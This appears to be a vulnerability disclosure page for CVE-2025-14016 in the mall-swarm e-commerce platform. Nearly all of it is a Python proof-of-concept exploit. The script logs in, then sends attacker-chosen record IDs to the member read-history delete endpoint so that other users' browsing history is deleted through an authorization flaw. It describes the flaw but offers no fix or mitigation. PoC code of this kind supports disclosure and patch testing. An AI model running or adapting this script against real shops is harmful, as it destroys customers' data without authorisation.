CVE-2025-14016: macrozheng mall-swarm 不当授权漏洞

# CVE-2025-14016 PoC - mall-swarm Improper Authorization # Target: /member/readHistory/delete # Vulnerability: IDOR in delete history endpoint import requests import json target_url = "http://target-server/api/member/readHistory/delete" # Step 1: Login to get valid session login_url = "http://target-server/api/auth/login" login_data = { "username": "[email protected]", "password": "password123" } session = requests.Session() login_response = session.post(login_url, json=login_data) if login_response.status_code == 200: # Step 2: Identify victim history IDs (enumerate or guess) victim_history_ids = [12345, 12346, 12347] # Example IDs # Step 3: Craft malicious delete request payload = { "ids": victim_history_ids # Attacker-controlled IDs } headers = { "Content-Type": "application/json", "Authorization": f"Bearer {session.cookies.get('token')}" } # Step 4: Send exploit request exploit_response = session.post( target_url, json=payload, headers=headers ) print(f"Status: {exploit_response.status_code}") print(f"Response: {exploit_response.text}") if exploit_response.status_code == 200: print("[+] Exploit successful - Victim history deleted!") else: print("[-] Exploit failed")